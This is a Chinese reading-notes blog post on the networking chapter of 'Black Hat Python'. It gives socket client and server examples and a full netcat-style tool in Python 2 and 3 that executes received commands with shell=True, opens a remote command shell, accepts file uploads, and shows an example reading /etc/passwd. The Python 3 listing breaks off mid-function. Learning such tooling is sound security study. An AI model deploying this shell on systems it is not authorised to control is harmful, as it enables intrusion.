《Python黑帽子:黑客与渗透测试编程之道》读书笔记:网络基础

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《Python黑帽子:黑客与渗透测试编程之道》读书笔记:网络基础相关的知识,希望对你有一定的参考价值。

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第2章网络基础,主要是socket模块的使用,同时也是后面篇章的基础

1、网络基础

(1)TCP客户端

一个简单的TCP客户端如下:

  • 建立socket对象
  • 连接到服务器
  • 发送数据
  • 接收并打印响应数据
#!/usr/bin/env python
#-*- coding:utf8 -*-

import socket

target_host = "127.0.0.1"
target_port = 8888

#建立一个socket对象(AF_INET:使用标准IPV4地址和主机名,SOCK_STREAM:TCP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接客户端
client.connect((target_host,target_port))

# 发送一些数据
client.send("GET / HTTP/1.1\\r\\nHost:baidu.com\\r\\n\\r\\n")

# 接收一些数据(4096个字符)
response = client.recv(4096)

print response

可以看到这里做了一定假设:

  • 连接总能成功建立
  • 服务器总是期望客户端先发数据
  • 服务器每次都能及时返回数据

这些都要根据实际情况调整

(2)UDP客户端

简单的修改

#!/usr/bin/env python
#-*- coding:utf8 -*-
import socket

target_host = "127.0.0.1"
target_port = 9999

#建立一个socket对象(SOCK_DGRAM:UDP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 发送一些数据
client.sendto("AAABBBCCC你收到了吗",(target_host,target_port))

# 接收一些数据(4096个字符),将会收到回传的数据和远程主机的信息和端口号
data, addr = client.recvfrom(4096)

print data
print addr

(3)TCP服务器

一个标准多线程TCP服务器如下:

  • 监听IP和端口
  • 设置连接数
  • 一个客户端成功连接时,启动线程处理
#!/usr/bin/env python
#-*- coding:utf8 -*-
import  socket
import threading

bind_ip = "0.0.0.0"     #绑定ip:这里代表任何ip地址
bind_port = 8888

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip, bind_port)

# 这是客户处理进程
def handle_client(client_socket):
    #打印出客户端发送得到的内容
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    #发送一个数据包
    client_socket.send("ACK!")
    client_socket.close()


while True:
    client,addr = server.accept()

    print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])

    #挂起客户端线程,处理传入的数据
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()

2、取代netcat

netcat,瑞士军刀!
现在想办法实现相似的功能

(1)bhnet.py 脚本

这里创建一个bhnet.py

  • 简单实现客户端和服务器来传递想要的文件
  • 创建一个监听端来拥有控制命令行的操作权限
#!/usr/bin/env python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def run_command(command):

    # 删除字符串末尾的空格
    command = command.rstrip()
    # 运行命令并将输出放回
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\\r\\n"
    # 将输出发送
    return output

# 文件上传、命令执行
def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检查上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\\r\\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\\r\\n" % upload_destination)

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output)


    # 如果需要一个命令行shell,那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send("<BHP:#>")

            cmd_buffer = ""
            while "\\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            #  返回命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

# 服务端
def server_loop():
    global target

    # 如果没有定义目标,那我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

# 客户端
def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print  response

            # 等待更多的输入
            buffer = raw_input("")
            buffer += "\\n"

            # 发送出去
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

    #关闭连接
    client.close()

# usage
def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host - p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run -execute the given file upon receiving a connection"
    print "-c --command             - initialize a commandshell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples:"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\\"cat /etc/passwd\\""
    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

# 主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not  len(sys.argv[1:]):
        usage()

    # 读取命令行选项,若没有该选项则显示用法
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入读取数据并发送数据?
    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据
        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

#调用main函数
if __name__ == '__main__': 
    main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

# usage
def usage():
    print("BHP NET TOOL")
    print("")
    print("Usage: bhpet.py -t target_host -p port")
    print("-l --listen                - listen on [host]: [port] for incoming connections")
    print("-e --execute=file_to_run   - excute the give file upon receiving a connection")
    print("-c --command               - initialize a command shell")
    print("-u -upload=destination     - upon receiving connection upload a file and write to [destination]")
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\\\target.ext")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\\'cat /etc/passwd\\'")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)

# 客户端
def client_sender():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))
        print("Successfully connect to %s: %s" %(target, port))
        # if len(buffer):
        #     client.send(buffer.encode('utf-8'))

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode('utf-8')
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response)

            # 等待输入
            buffer = str(input(""))
            buffer += "\\n"


            # 发送出去
            # print("sending....")
            client.send(buffer.encode('utf-8'))
            # print("[%s] has been sent Successfully" % buffer.encode('utf-8'))
    except:
        print("[*] Exception Exiting.")

        # 关闭连接
        client.close()

# 服务端
def server_loop():
    global target

    # 如果没有设置监听目标,那么我们默认监听本地
    if not len(target):
        target = "127.0.0.1"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)
    print("waiting for connection...")
    while True:
        client_socket, addr = server.accept()
        print("Successfully connect to %s: %s" % addr)
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=[client_socket, ])
        client_thread.start()


def run_command(command):
    # 换行
    command = command.rstrip()

    # 运行命令并将结果返回
    try:
        # output = subprocess.getoutput(command)
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "failed to execute command.\\r\\n"

    # 将输出发送
    return output

# 实现功能
def client_handler(client_socket):
    global upload
    global command
    global execute
    print("这里是client_handler")
    # 检测上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        print("waiting for write to %s...\\n" % upload_destination)
        # 持续读取数据直到没有符合的数据
        while True:
            file_buffer = ""
            while True:   
                client_socket.send(b' Please input the file\\'s content:\\n')
                print("receiving")
                data = client_socket.recv(1024)
                print("the data is %s" % data)
                if b'exit' in data:
                    break
                else:
                    file_buffer += data.decode('utf-8')
            print("the file_buffer is %s\\n" % file_buffer)

            # 现在我们接收这些数据并将它们写出来
            try:
                file_descriptor = open(upload_destination, "w")
                file_descriptor.write(file_buffer)
                file_descriptor.close()

                # 确认文件已经写出来
                client_socket.send(b'Successfully saved file to %s\\r\\n' % upload_destination.encode('utf-8'))

            except:
                client_socket.send(b'Fail to save file to %s\\r\\n' % upload_destination.encode('utf-8'))

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)

        client_socket.send(output)

    # 如果需要一个命令行shell, 那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send(" \\n<BHP: #> ".encode('utf-8'))
            # 现在我们接收文件直到发现换行符
            cmd_buffer = ""
            while "\\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode('utf-8')
            # 返还命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

# 主函数
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
                                   ["help", "listen", "execute", "target", "port", "command", "upload"])

    except getopt.GetoptError as err:
        print(str(err))
        usage

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--command"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 我们是监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
        # 执行客户端程序
        client_sender()

    # 我们开始监听并准备上传文件、执行命令
    # 放置一个反弹shell
    以上是关于《Python黑帽子:黑客与渗透测试编程之道》读书笔记:网络基础的主要内容,如果未能解决你的问题,请参考以下文章

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows提权

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows提权

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:扩展burp代理

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:扩展burp代理

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:自动化攻击取证

《Python黑帽子:黑客与渗透测试编程之道》读书笔记:基于github的木马